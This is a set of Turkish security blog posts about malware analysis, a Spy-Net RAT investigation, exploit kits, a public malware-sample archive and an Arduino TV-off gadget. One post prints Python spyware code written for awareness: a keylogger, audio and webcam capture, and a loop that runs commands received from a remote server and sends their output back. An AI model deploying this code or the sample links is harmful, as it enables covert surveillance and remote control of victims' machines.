Hack 4 Career - 2013

Zararlı Yazılım Arşivi

Source: https://www.mertsarica.com/zararli-yazilim-arsivi-yazisi/
By M.S on December 2nd, 2013

Zararlı yazılım analizi ile ilgili son zamanlarda çok sayıda e-posta alıyorum ve bu e-postaları gönderenlerin çoğunun nereden ve nasıl başlamayalıyım sorularına yanıt aramaya çalıştığını görüyorum. Zaman içinde bu e-postalara yanıt vere vere aslında çağrı merkezi robotu gibi aynı şeyleri tekrarladığımı farkettim, şu kitapları okuyun, şu programlama dillerini öğrenin ve bol bol pratik yapın. Fakat iş pratik yapmaya gelince analiz için zararlı yazılım bulmak kimi zaman pek kolay olmuyor. Örneğin VirusTotal üzerinden aradığınız bir zararlı yazılım örneğine erişmek istediğinizde öncelikle sizin güvenlik firmasında çalışmanız veya antivirüs üreticisinde çalışmanız veya bir devlet yetkilisi olmanız ve ardından sizden bu örneğe erişmek için belli bir ücret ödemeniz bekleniyor kısaca zaman zaman çıkmaza girebiliyorsunuz. Tabii virusshare.com gibi siteler yok da değil ancak her defasında koca koca torrent dosyaları arasında iğne aramak, indirmek kimi zaman mümkün olamayabiliyor.
31 Ağustos 2010 tarihinde, zararlı yazılım tespiti yapan ve raporlayan siteleri dolaşan ve bunlardan sadece Türkiye'de olanları tweetleyen, Zararlı URL Duyuru İstemcisi adında ufak bir araç hazırlamıştım. Bu araç zaman içinde daha fazla site gezen ve hacklenmiş siteleri de tweetleyen bir araç haline büründü. Bu araç ilk başlarda windows sistemimde çalışıyor ve ben ne zaman sistemi açsam, siteleri gezerek tweetlemeye başlıyordu fakat geçtiğimiz aylarda iki adet Raspberry Pi alarak bunlardan bir tanesini sadece bu iş için 7/24 kullanmaya başladım.
Hem sızma testi için hem de zararlı yazılım analizi için pratik yapmanın ne kadar önemli olduğunu bilen biri olarak Temmuz ayı gibi bu istemciyi biraz daha geliştirerek, tespit edilen zararlı yazılımları, adresi, tarihi ve md5 hash bilgisi ile birlikte diske kayıt edecek hale getirdim. 7 Temmuz 2013 tarihinden bu yana bu istemci, 200 mb civarında yaklaşık 233 tane zararlı yazılım (.exe) indirdi. Kaspersky Internet Suite ile bu dosyaları tarattığımda bunlardan 80 tanesinin truva atı (trojan), 31 tanesinin arka kapı (backdoor) olduğunu gördüm ve pratik yapmak için istemcinin başarılı bir şekilde işlevini yerine getirdiğini teyit edebilmiş oldum.

Pratik yapmanın yanısıra bir antivirüs yazılımı, güvenlik ağ geçidi (security gateway) veya ağ üzerinden zararlı yazılım tespit eden bir ürünü değerlendirirken bile örnek zararlı yazılımlara ihtiyaç duyduğumuzu da göz önünde bulundurarak bu istemciyi biraz daha geliştirerek bunu herkesin faydalanabileceği bir yapıya dönüştürdüm.

Yukarıdaki resimden de görüldüğü üzere geliştirdiğim istemci, zararlı yazılımları 12 saatte bir indirmekte ve ardından indirdiği dosyaları şifreli olarak (şifre: infected) zipleyerek, örneğin 2013 yılının Kasım ayı için 11.2013.zip dosyası adı altında http://www.mertsarica.com/zararliyazilimlar/ klasörüne kopyalamaktadır. Aralık ayı itibariyle bu aya ait olan örnek zararlı yazılımlar http://www.mertsarica.com/zararliyazilimlar/12.2013.zip olarak erişilebilir olacaktır.
Kısaca hergün güncellenen şifreli (şifre: infected) zararlı yazılım arşivine erişmek için format: http://www.mertsarica.com/zararliyazilimlar/ay.yil.zip
Yeri gelmişken Siber Güvenlik Enstitüsü'nün uzun zamandan beri üzerinde çalıştığı VirusTotal ve Malwr karışımı olan Virüs Mü ? adındaki hem statik hem de dinamik analiz yapabilen, yerli kum havuzu (sandbox) hizmetini, ücretsiz olarak yakında bizlerin kullanımına sunacağını da buradan paylaşayım. Bu hizmet kullanıma sunulur sunulmaz, ben de istemciyi indirdiği zararlı yazılımı Virüs Mü?'ye gönderip, ürettiği raporun bağlantı adresini de arşive ekleyecek şekilde güncelleyeceğim.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
Not: Kasım ayı arşivine buradan erişebilirsiniz.

Spy-Net RAT Analizi

Source: https://www.mertsarica.com/spy-net-rat-analizi/
By M.S on November 1st, 2013

FatMal, Hesperbot, Zeus derken neredeyse 2013 yılını geride bırakıyoruz. Son yayımlanan tehdit raporlarına baktığımızda zararlı yazılım salgınlarında Türk kullanıcılarının eskiye kıyasla daha sık hedef alındığını görüyoruz. Zararlı yazılım analizi üzerine yan dal yapmaya çalışan bir sızma testi uzmanı olarak, son yıllarda artan siber saldırılara bir de bu salgınlar eklendiğinde, son kullanıcıların, kurumların geçmiş yıllara kıyasla güvenliğe, uzman personele daha çok önem vermeleri gerektiğini söyleyebilirim. Örneğin yıllar önce sızma testini 11. görev olarak gören ve 10 işi aynı anda götürmeye çalışan bir uzmana yükleyenlerin, bugün sadece sızma testi yaptırmak için 3-4 kişilik ekipler oluşturduklarını görebiliyoruz. Artan zararlı yazılım salgınları ve APT tehditleri ile zaman içinde zararlı yazılım analizi becerisine sahip uzmanlara da aynı şekilde talebin artacağını tahmin ediyorum dolayısıyla kendinizi yarına hazırlamak için zararlı analizi konusunda bol bol pratik yapmanızı tavsiye edebilirim. Pratik yapmak için benim gibi sağdan, soldan elde ettiğiniz örnek zararlı yazılımları inceleyebilirsiniz.
Geçtiğimiz günlerde yine bir arkadaşım, kendisine gelen bir sahte e-postayı benimle paylaştı. 2012 yılından bu yana gönderilen JAR uzantılı sahte KVK, Yurtiçi Kargo e-postalarına son olarak sahte Turkcell e-postası eklendi. Daha önce incelediğim benzer örneklerde, art niyetli kişiler Vodafone 3G modem üzerinden zararlı yazılım bulaşan sistemler ile iletişime geçiyorlardı. Zararlı yazılımlarda geçen Türkçe fonksiyon isimleri de geliştiricilerin yabancı olmadıklarını ortaya koyuyordu. Aradan uzun bir zaman geçtikten sonra gönderilen son örneğe göz atmaya ve bu konuda sizleri bilgilendirmeye karar verdim.
Sahte e-postanın ekinde Sanal POS Kontor Odeme İşlemleri.jar isimli bir dosya yer alıyordu.

JAR uzantılı dosyayı açtığımda içinden BASE64 ile encode edilmiş 777.exe ve POS Kontör İşlemleri Odeme_Listesi.xls dosyaları ile birlestirici.class ve x/reverse.class dosyaları çıktı.

birlestirici.class dosyasını kaynak koduna çevirip analiz ettiğimde 777.exe ve POS Kontör İşlemleri Odeme_Listesi.xls dosyalarını BASE64 ile decode edip çalıştırdığını gördüm.

Zararsız excel dosyası bir kenara, 777.exe dosyasını BASE64 ile decode ettikten sonra (DecodedBase64.exe) Immunity Debugger hata ayıklama aracı (debugger) ile analiz etmeye başladım. Paketlenmiş olan bu dosyayı adım adım analiz ettikten sonra Visual Basic ile yazılmış başka bir yazılımı hafızada açtığını (unpack) gördüm. Statik analiz için OEP (original entry point) üzerinde programı hafızadan diske CHimpREC aracı ile DecodedBase64-_.exe adı altında kayıt (dump) ettim. Ardından bu yazılımı Malwr (cuckoo sandbox) sitesine yüklediğimde analizin başarısızlıkla sonuçlandığını gördüm.

Ardından bu yazılımın da (DecodedBase64-_.exe), UPX ile derlenmiş başka bir yazılımı hafızaya açtığını gördüm ve bunu hafızadan, diske _001A7000.exe adı altında kayıt edip, UPX ile açtım (unpack).

Statik analiz ile yazılım üzerindeki dizilerden bunun Spy-Net RAT olabileceğini düşündüm. Spy-Net RAT'i genel olarak analiz ettiğimde, istemcinin bağlanacağı sunucu adresi, şifre, sistem üzerinde çalışırken kullanacağı dosya adı gibi çeşitli bilgileri, oluşturulurken (server.exe oluşturma), 0xBC ile XOR'layarak ####@#### dizileri arasına kaydettiğini tespit ettim. Ardından Python ile bu parametreleri tespit edip, çözebilrn (XOR), Spy-Net Config Decrypter adı altında ufak bir araç hazırladım. Bu aracı, Spy-Net istemcisi (_001A7000.exe (klasik server.exe)) üzerinde çalıştırdığımda bana, bağlanacağı ip adresinden (microsoftupdatedns.redirectme.net:115), şifresine, sistem üzerinde kendini gizlemek için kullandığı dosya adına (ctfmon.exe) kadar tüm bilgileri verdi. IP adresini (81.6.76.156) kontrol ettiğim de ise yine Vodafone IP bloğuna ait olduğunu gördüm.

Sıra bunun gerçekten Spy-Net RAT olup olmadığını teyit etmeye geldiğinde, sanal makineme 115. bağlantı noktasını dinleyen Spy-Net v2.6 sunucusu kurup, hosts dosyasına 127.0.0.1 microsoftupdatedns.redirectme.net satırını ekledim. Son olarak _001A7000.exe dosyasını çalıştırdığımda ise Spy-Net arabirimi üzerinden bağlantının başarıyla gerçekleştiğini gördüm ve bu sayede bunun Spy-Net zararlı yazılımı olduğunu teyit etmiş oldum.

Umarım herkes için faydalı bir analiz yazısı olmuştur. Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
Güncelleme: Art niyetli kişiler, 29.10.2013 tarihi itibariyle "ADSL fatura Son ödeme tarihi 29/10/2013 olan 23,00 TL tutarındaki güncel faturanız" başlıklı sahte e-posta gönderiyorlar. Bu e-postada yer alan bağlantı adresi (link) ziyaret edildiği takdirde www.lotusgrill.com.tr/tt.net.jar adresinden yukarıda analiz ettiğim benzer bir zararlı JAR dosyasını indiriliyor ve ardından microsoftupdatedns.redirectme.net adresine 112. bağlantı noktasından bağlanıyor.

2 adımda APT

Source: https://www.mertsarica.com/2-adimda-apt/
By M.S on October 1st, 2013

Geçtiğimiz senelerde Stuxnet, Duqu, Flame vb. casus/zararlı yazılımlar ile ilgili olarak haber bombardımanına tutulan çoğu kimse için APT (advanced persistent threat), arkasında bir devletin olduğu, kapalı kapılar ardında üzerinde onlarca belki de yüzlerce kişinin dev bütçelerle çalıştığı, nükleer reaktöre sahip olmadığınız sürece pek fazla kaygılanmanızı gerektirmeyen siber saldırı projeleri olduğu düşünülür. Bu yanlış düşünce neticesinde kurumlar tarafından bir APT tehdidine maruz kalma olasılığı oldukça düşük olarak değerlendirilmektedir. Halbuki APT'nin temel amacının uzun süreli ve gizli bir şekilde hedef sistem üzerinden ses, görüntü, tuş kayıt bilgileri ile hassas verileri çalmak olduğu göz ardı edilir. Ben de bu yazı ile kurumlar tarafından göz ardı edilen APT tehdidine, sızma testlerinde sıkça kullanılan Metasploit ve Meterpreter'ı kullanmadan, kısa sürede geliştirdiğim, tam fonksiyonel olmayan (niyeti bozuk olanlar biraz kod yazmak zorunda kalacaklar :) ) APT Simulator aracı ile dikkat çekmeye çalıştım.
APT'yi oluşturan en önemli iki bileşenden biri hedef sistemi istismar edecek istismar kodu, diğeri ise sisteme indirilecek ve çalıştırılacak olan casus/zararlı yazılımdır.
Hedef sistemin istismar edilerek casus/zararlı yazılımın hedef sisteme indirilme ve çalıştırılma kısmı günümüzde hacking forumlarından ücretsiz olarak temin edilebilen istismar kitleri ve sosyal mühendislik saldırısı sayesinde bir tık ile gerçekleştirilebilmektedir. İstismar kitleri ile hedef sistemde yüklü ve güncel olmayan Adobe PDF Reader, Java, Ofis yazılımları, internet tarayıcıları vb. 3. parti yazılımlar istismar edilmekte ve sistem ele geçirilerek üzerinde istenilen casus/zararlı yazılımlar çalıştırılabilmektedir. (Günümüzde imza tabanlı güvenlik teknolojilerinin (ips, ids, antivirüs vs.) bu tehditlere karşı koruma sağlamakta yetersiz olduğunun tekrar altını çizmekte fayda olabilir)
Casus/zararlı yazılım oluşturma kısmı ise programlama dehası olmayan kişiler tarafından rahatlıkla gerçekleştirilebilir. Yazıma konu olan ve casusluk faaliyeti gerçekleştirecek olan APT Simulator aracı, modüler yapısı sayesinde Python ile kısa sürede rahatlıkla geliştirilebilir. Bunun için geliştiricinin Python v2.7.5 sürümünü (python-2.7.5.msi), ekran görüntüsü almak için VideoCapture modülünü (VideoCapture-0.9.5.win32-py2.7.exe), tuş kaydı için pyHook modülünü (pyHook-1.5.1.win32-py2.7.exe), ses kaydı için ise pyAudio modülünü (PyAudio-0.2.7.win32-py2.7.exe) kurmuş olması yeterlidir. Modüller kurulduktan sonra geliştirilecek olan APT aracının çatısı 4 ana fonksiyondan oluşabilir;
Ses kaydı gerçekleştiren fonksiyon:
PyAudio modülü sayesinde hedef sistem üzerinden 5 saniyeliğine ses kaydı yapılır ve apt.wav dosyasına yazılır.

def record_audio():
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 2
RATE = 44100
RECORD_SECONDS = 5
WAVE_OUTPUT_FILENAME = "apt.wav"

p = pyaudio.PyAudio()

stream = p.open(format=FORMAT,
channels=CHANNELS,
rate=RATE,
input=True,
frames_per_buffer=CHUNK)

if console:
print "* Recording audio..."

frames = []

for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):
data = stream.read(CHUNK)
frames.append(data)

if console:
print "* done\n"

stream.stop_stream()
stream.close()
p.terminate()

wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb')
wf.setnchannels(CHANNELS)
wf.setsampwidth(p.get_sample_size(FORMAT))
wf.setframerate(RATE)
wf.writeframes(b''.join(frames))
wf.close()

Ekran görüntüsü alan fonksiyon:
VideoCapture modülü sayesinde hedef sistem üzerinde ekran görüntüsü alınarak, apt.jpg adı altında dosya sistemine kayıt edilir.

def take_screenshot():
if console:
print "* Taking screenshot..."
cam = Device()
cam.saveSnapshot('apt.jpg')
if console:
print "* done\n"

Tuş kaydı yapan fonksiyon:
PyHook modülü sayesinde klavyede basılan tuşlar, aracın çalıştığı klasörde keylogs.txt dosyasına kayıt edilir.

def keylogger():
if console:
print "* Logging key events... (press enter to escape)"

def OnKeyboardEvent (event):
keys = ""
full_path = os.path.realpath(__file__)
path, file = os.path.split(full_path)
path = path + "\keylogs.txt"
keyfile = open(path, "a")
key = chr(event.Ascii)
if event.Ascii == 13:
key = "\n"
hook.UnhookKeyboard()
if console:
print "* done\n"
main()

keys = keys + key
keyfile.write(keys)
keyfile.close()

hook = pyHook.HookManager()
hook.KeyDown = OnKeyboardEvent
hook.HookKeyboard()
pythoncom.PumpMessages()

Komuta kontrol merkezinden aldığı komutu sistem üzerinde çalıştırıp komuta kontrol merkezine geri gönderen fonksiyon:
take_order fonksiyonu, http://www.mertsarica.com/apt_simulator/apt.php adresine bağlanarak hangi işlemi gerçekleştireceği (ses kaydı, ekran görüntüsü alma, tuş kaydı yapma, sistem üzerinde komut çalıştırma) bilgisini alır.
process_order fonksiyonu, sistem üzerinde çalıştırması gereken komut bilgisini (örnek: hostname) aldıktan sonra sistem üzerinde çalıştırır ve http://www.mertsarica.com/apt_simulator/apt.php dosyasına cmd parametresi ile gönderir.

def process_order(cmd):
if console:
print "* Running received command:", cmd
p = subprocess.Popen(cmd, stdout=subprocess.PIPE)
result = p.communicate()[0]
if console:
print "* Command output:", result
# print "* done."
url = "http://www.mertsarica.com/apt_simulator/apt.php?cmd=" + result
if console:
print "* Sending command output (%s) to APT Simulator..." % (result.strip())
response = opener.open(url)
if console:
print "* done\n"

def take_order():
url = "http://www.mertsarica.com/apt_simulator/apt.php"
print "* Connecting to APT Simulator:", url
response = opener.open(url)
html = response.read()

re1='((?:[a-z][a-z0-9_]*))' # Variable Name 1
re2='(:)' # Any Single Character 1
re3='((?:[a-z][a-z0-9_]*))' # Variable Name 2
re4='(:)' # Any Single Character 2
re5='((?:[a-z][a-z0-9_]*))' # Variable Name 3
re6='(:)' # Any Single Character 3
re7='((?:[a-z][a-z0-9_]*))' # Variable Name 4

rg = re.compile(re1+re2+re3+re4+re5+re6+re7,re.IGNORECASE|re.DOTALL)
m = rg.search(html)

if m:
var1=m.group(1)
c1=m.group(2)
var2=m.group(3)
c2=m.group(4)
var3=m.group(5)
c3=m.group(6)
var4=m.group(7)

if console:
print "* Received command:", var1+c1+var2+c2+var3+c3+var4+"\n"

if var1 == "ses":
record_audio()
if var2 == "ekrangoruntusu":
take_screenshot()
if var4:
process_order(var4)
if var3 == "tuskaydi":
keylogger()

Sonuç olarak tüm bu fonksiyonlar bir araya getirildiği zaman ortaya APT saldırısını simüle edebilen APT Simulator aracı çıkıvermiş oluyor. Görüldüğü üzere Python ile kısa bir sürede ses kaydı yapabilen, ekran görüntüsü alabilen, tuş kaydı yapabilen ve uzaktaki web sunucusundan komut alarak sistem üzerinde çalıştırabilen ve sunucuya geri gönderebilen bir APT aracı tasarlamak mümkündür dolayısıyla kurumda bir nükleer reaktör, bir SCADA sistem olmasa bile APT tehdidi bir kurum için ciddi anlamda ele alınması, bu veya benzer bir casus yazılım ile karşı karşıya kalındığı zaman nasıl tespit edilebileceği, aksiyon alınabileceği konusunda üzerine düşünülmesi, zaman ve bütçe ayrılması gereken çok önemli bir konudur.
Programın kötüye kullanılmasını engelleme adına prototip olarak geliştirdiğim APT Simulator aracını, dileyen güvenlik uzmanları daha da geliştirerek APT testlerinde veya bilgisayar olayları müdahale ekiplerinin çalışmalarında rahatlıkla kullanabilirler.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

Arduinooo

Source: https://www.mertsarica.com/arduinooo/
By M.S on September 1st, 2013

Hackinge meraklı olan fakat elektronikten anlamayan ve bunun eksikliğini hisseden biri olarak Arduino'nun benim için büyük bir nimet olacağını düşünerek bundan yaklaşık bir sene önce bir tane Aurdino UNO R3 sipariş etmiştim.

Bilmeyenler, duymayanlar için Vikipedi'ye göre Arduino'nun, Processing/Wiring dilinin (C programlama diline oldukça benzemektedir) bir uygulamasını içeren geliştirme ortamından oluşan bir fiziksel programlama platformu olduğunu, tek başına çalışan interaktif nesneler geliştirmek için kullanılabileceği gibi bilgisayar üzerinde çalışan yazılımlara da (Macromedia Flash, Processing, Max/MSP, Pure Data, SuperCollider gibi) bağlanabileceğini ve hazır üretilmiş kartlar satın alabildiğiniz gibi, kendi ürettiğiniz donanımlarla çalışabildiğiniz, çeşidine göre mikrodenetleyici içeren bir kart olduğunu söyleyebiliriz.

Devre tahtası, dirençler, lehim vb. konulardan anlamadığım, anlamak için de çok fazla zaman ayıramayacağımı öngörerek sensörlerle ve modüllerle çalışmanın bana hız ve zaman kazandıracağını düşünerek Arduino UNO R3'ün yanı sıra bir de sensor shield v5.0 sipariş etmiştim. Sensor shield ile ufak tefek denemeler yapmak ve Arduino dünyasına ağrısız, sızısız bir giriş yapmak için kızıl ötesi alıcı ve verici, LCD ekran, buton, sesli uyarı modülü da sipariş etmiştim. Gel zaman git zaman, ne zaman Arduino ile birşeyler yapmak istesem mutlaka eksik bir sensor veya modül olduğu ortaya çıkıyor ve tekrar Emartee, Robotistan veya Roboweb gibi sitelerden yeni parçalar sipariş etmem gerekiyordu. Hele ki bu Emartee'den sipariş edilecek ise parçanın elime ulaşması 15 - 20 günü bulabiliyordu.
Bekleye bekleye paslandığımı farkederek 1 sene sonunda ufak da olsa birşeyler yapmaya karar verdim. Her ne kadar ilk etapta gönlümden NFC/RF ile ilgili birşeyler yapmak geçse de önceliğim pas atmak olduğu için daha seri ilerleyebileceğim birşeyler yapmaya karar verdim. Evde sağıma soluma bakıp neyi kurcalasam diye düşünürken gözüme televizyon kumandası ilişiverdi. TV ile kumandanın kızıl ötesi haberleştiğini bildiğim ve elimde de kızıl ötesi alıcı ve verici olduğu için aklıma ortaokul yıllarım geldi.
Benimle yaşıt olanlar eminim 90'lı yıllarda oldukça popüler olan fakat o zaman için oldukça da pahalı olan ve her çocuğun hayalini süsleyen Casio'nun CMD-40 model saatini hatırlayacaklardır. Bu saatinin en güzel özelliği öğrenme modu sayesinde televizyon kumandasının (ve diğer kızılötesi haberleşen cihazların) göndermiş olduğu IR (infrared) sinyalleri/kodları öğrenerek kumanda gibi kullanılabilmesiydi. Bu saat sayesinde birçok televizyon, afacan çocukların hedefi haline gelmiş, bir o kadar çocukta iş üstünde yakalanarak kulakları, kızgın televizyon sahipleri tarafından çekilmişti.
30 yaşını devirmiş ancak hala afacanlıkta sınır tanımayan biri olarak evde Arduino ile TV'yi çaktırmadan açıp, kapayarak eşimi kızdırmanın planlarını yapmaya başladım. Bunun için öncelikle Arduino için IR Remote kütüphanesini yükledim. Samsung TV'yi kapatabilmek için öncelikle kumanda üzerinde kapatma butonuna basıldığında kumandanın TV'ye gönderdiği IR kodunu Arduino ile tespit etmem gerekiyordu. Fakat tam bu esnada aklıma Galaxy S4'de de infrared olduğu ve Samsung'un geliştirdiği WatchON adındaki cep telefonunun uzaktan kumanda olarak kullanabilmesini sağlayan uygulama geldi. WATCHON uygulamasının 100'den fazla TV markasını desteklemesi aklıma hemen bir soru getirdi. Arduino'nun belleği yettiği sürece, 10-15 popüler markanın TVlerinin IR kodlarını WatchON uygulamasından alsam, Arduino'ya yüklesem, Arduino da çalışır çalışmaz yüklü olan tüm bu kodlarını bir döngü ile göndermeye başlasa, Arduino'yu Universal TV PowerOff aracı olarak kullanabilir miydim ?
Bunun için öncelikle IR alıcıyı Arduino'ya bağlayıp, IR Remote kütüphanesi ile gelen ve üzerinde ufak bir değişiklik yaptığım IRrecvDump.ino kodunu, Arduino IDE ile derleyip Arduino'ya yükledim ve çalıştırdım. Ardından Samsung'un WatchON uygulamasını çalıştırıp önce Samsung TV için sonra LG TV için ve ardından Vestel ve birkaç marka daha için uygulamayı ayarlayıp TV kapama komutunu gönderdim ve Arduino ile bu kodları kayıt altına aldım.

Ardından birkaç TV markası için elde ettiğim bu kodları (aslında daha fazla TV markası için kod yükleyecektim fakat Arduino UNO'nun kısıtlı belleği buna imkan vermedi) hazırlamış olduğum PowerOff.ino adındaki farklı bir Arduino programına kopyaladım. Bu programı derleyip Arduino'ya yükledikten sonra artık Arduino çalışır çalışmaz yüklü olan tüm TV kapatma IR kodlarını IR vericisi üzerinden gönderir hale gelmişti.

Sıra POC (proof of concept) çalışması yapmaya geldiğinde POC gönüllümüz Bener ERK, Arduino'yu cebine atıp, çeşit çesit marka TVlerin bir arada olduğu bir mağaza arayışına girdi ve POC çalışmasını kısa süre içerisinde başarıyla tamamladı. (Ziyaretin ve POC çalışmasının sonucunu aşağıdaki videodan izleyebilirsiniz :))

Sonuç olarak Arduino ile NFC/RF güvenlik araştırmalarına giriş yapmadan önce yapmış olduğum bu çalışma ile Arduino'nun benim gibi elektronikten anlamayanlar için büyük bir nimet olduğunu teyit etmiş oldum.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

İstismar Kiti Nedir ?

Source: https://www.mertsarica.com/istismar-kiti-nedir/
By M.S on August 1st, 2013

11 Temmuz tarihinde, Aralık ayına damgasını vuran FatMal zararlı yazılımının yenisi ile karşılaştık. Tam olarak yenisi demek belki çok doğru olmayacaktır çünkü bu salgında kullanılan zararlı yazılım ve komuta kontrol merkezinin sürümü bir önceki FatMal komuta kontrol merkezinden farklıydı. Benzer olan tek nokta hemen hemen aynı sahte e-postaların kullanılmış olmasıydı.

Bu salgın aslında Kasım ayındaki salgında (Hatırlatma: https://internetsube.bddkuyari.com/padm/content/injectus.js) kullanılan zararlı yazılım ve komuta kontrol merkezi sürümü ile neredeyse aynıydı. Bu 3 salgının da arkasında aynı grup mu vardı bilinmez ama bu defa kötü adamlar bir taşla 2 kuş vurmaya çalışmışlardı. Gönderdikleri e-postada yer alan adres ziyaret edildiğinde karşınıza sahte bir fatura görüntüleme sayfası çıkıyordu. Doğru CAPTCHA kodu (inandırıcılık adına her türlü zahmete katlanmışlar :)) girilip GÖRÜNTÜLE butonuna basıldıktan sonra size, adı her defasında değişen ve içinde zararlı yazılım bulunan bir ZIP dosyası gönderiliyordu. Daha önceden dili yananlar, ZIP dosyasını indirip, içinde pdf.exe uzantılı dosyayı gördüğünde bunun zararlı yazılım olduğunu anlayıp, çalıştırmayarak kötü adamların oyununa gelmediklerini düşünerek büyük bir mutluluk ile sahte sayfayı kapatıp, zararlı yazılımı silip işlerine devam ettiler fakat birşeyi gözden kaçırdılar.

GÖRÜNTÜLE butonuna basar basmaz sahte fatura görüntüleme web sitesi, size ZIP dosyasını yollamak ile kalmayıp ayrıca sizi haberiniz olmadan istismar kitinin (Private Exploit Pack olduğunu tahmin ediyorum.) bulunduğu zararlı bir diğer web sitesine de yönlendiriyordu. Siz her ne kadar ZIP dosyasının indirmemiş olsanız da, internet tarayıcınızda bulunan bir zafiyet bu zararlı web sitesi (istismar kitinin yüklü olduğu site) tarafından PluginDetect adındaki javascript kütüphanesi yardımı ile tespit ediliyordu. Ardından istismar kiti yüklü olan bu zararlı web sitesi tarafından zafiyet barındıran internet tarayıcısı eklentilerinize (Java, Adobe PDF Reader, Flash vb.) göre istismar kodu (exploit) gönderilerek sisteminiz ele geçiriliyor (hackleniyor), sisteminize indirmekten ve çalıştırmaktan kaçındığınız o ZIP dosyası içinde yer alan zararlı yazılım, başka bir yolla sisteminize indirilerek çalıştırılmış oluyordu.

İstismar kitleri son yıllarda bu tür salgınların dışında özellikle Su Kaynağı (Watering Hole) saldırılarında da sıkça kullanılmaktadır. Su kaynağı saldırılarında kötü adamlar, sızmak istedikleri kurumların sistemlerini direkt hedef almak yerine dolaylı yoldan hedef alırlar ve bunun için de hedef kurum tarafından ziyaret edildiği düşünülen web sitelerini hedef olarak seçerler. Örnek ile açıklamak gerekirse mesela birçok çalışan, gün içinde bir defa da olsa takip ettikleri gazetelerin web sitelerini ziyaret ederler. Bunu bilen kötü adamlar da kurum çalışanlarına oltalama saldırısı yapmak yerine sıkça ziyaret edilen gazetelerin web sitelerini hackleyerek, FatMal örneğinde olduğu gibi sayfayı ziyaret edenlerin istismar kiti olan bir diğer zararlı web sitesini ziyaret etmelerini sağlamış olur. Bu sayede bu siteyi ziyaret eden yüzlerce farklı kurumun, binlerce kullanıcısının kullanmış olduğu sistemler bu saldırı yöntemi ile bir anda kötü adamların kontrolü altına girmiş olur.

İstismar kiti denilince belki de akla ilk olarak Blackhole istismar kiti gelir. Blackhole istismar kiti aslında onlarca istismar kitinden sadece bir tanesidir fakat onu farklı yapan yeni sürümlerinde çoğunlukla 0. gün istismar kodlarına ev sahipliği yapmasıdır. Metasploit aracına bir uygulamanın istismar kodunun eklenmesinin hemen ardından Blackhole istismar kitine de bu istismar kodunun eklenmesi ve yeni sürümünün geliştiricisi tarafından hızlıca yayınlanması, bu istismar kitinin ne denli tehlikeli olabileceğine güzel bir örnektir.
İstismar kitlerinin oldukça tehlikeli ve siber saldırılarda sıkça kullanılıyor olması nedeniyle zararlı yazılım analistleri, güvenlik uzmanları, emniyet mensupları için bu istismar kitlerinin sanal ortamlara kurulması, analiz edilmesi ve işleyişlerinin anlaşılması, bilgisayar olaylarına müdahale etme açısından oldukça önemlidir fakat çeşitli sitelerden temin edilen bu istismar kitlerinin kullanılması pek o kadar kolay değildir. İstismar kiti geliştiricileri bu işten para kazandıkları için lisanslamaya önem vermektedirler dolayısıyla istismar kitlerini kötü adamlara kiralarken veya satarken çeşitli araçlar ile (Örnek: ionCube PHP Encoder) ile istismar kitlerine alan adı bazlı ve zaman bazlı kısıtlamalar koymaktadırlar. Fakat bu kontroller rahatlıkla aşılabildiği için art niyetli kişiler, çeşitli forumlardan temin ettikleri bu istismar kitlerini kurumlara ve kullanıcılara karşı rahatlıkla kullanılabilmektedirler.
Örneğin geçtiğimiz aylarda bir araştırma için sanal makineye Blackhole v2.0.1 istismar kiti kurmam gerektiğinde benim de bu kontrolleri aşmam gerekti. Bunun için öncelikle temin ettiğim Blackhole istismar kitinin hangi internet sitesi için lisanslandığını, bu lisansın hangi tarihe kadar geçerli olduğunu ve bunları kontrol eden fonksiyonları tespit etmem gerekti. Fonksiyonları tespit edip, yamadıktan (patching) sonra sanal makinede bu istismar kitini başarıyla çalıştırabildim.

Özetle istismar kitleri sıkça güncellendiği, yeri geldiğinde kötü adamlara kiralanabildiği, forumlardan ücretsiz olarak kolayca temin edilebildiği için kurumlar ve kullanıcıları için büyük bir tehdit haline gelmiştir. Günümüzde kurumlar, sunucularının yama seviyelerine önem verdikleri gibi kullanıcılarının sistemlerinde yüklü olan ve istismar kitleri tarafından istismar edilen Java, Adobe PDF Reader, Flash gibi uygulamaları da yama seviyelerine önem vermeleri gerekmektedir. Son kullanıcıların yani bizlerin ise istismar kitlerinin hedefi olmamaları adına aynı şekilde işletim sistemlerinin ve diğer uygulamaların yama seviyelerini güncel tutmaları, Browser Scan gibi siteler üzerinden yama seviyelerini ara ara kontrol etmeleri ve güvenlik ürünlerinin imzalarını güncel tutmaları gerekmektedir.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

Manipüle Edilmiş Fotoğraf Analizi

Source: https://www.mertsarica.com/fotograf-analizi/
By M.S on July 1st, 2013

Geçtiğimiz aya damgasını vuran Gezi Parkı eylemlerini yazılı, görsel ve internet medyasından takip eden bir vatandaş olarak ilgimi, olayların yanı sıra hem kamuoyunda hem de taraflar arasında sıkça tartışmalara yol açan çeşitli fotoğraflar çekti. Bir taraf fotoğraflar üzerinden diğer tarafa yüklenirken, diğer taraf fotoğrafların sahte olduğunu ve üzerinde oynandığını iddia ediyordu. Mesleği gereği şüpheciliğin doruk noktasında yaşayan, ne duyduğuna ne de gördüğüne didik didik etmeden inanamayan benim gibi vatandaşlar için eminim hangi fotoğrafların gerçek, hangi fotoğrafın sahte olduğu büyük bir merak konusu olmuştur. Bu yazımda %100 kesin olmasa da üzerinde oynanmış, değişiklik yapılmış bir fotoğrafın (ürün adı olmuş bir marka olması nedeniyle photoshoplanmış fotoğraf da diyebiliriz) nasıl tespit edilebileceğine kısaca değineceğim.
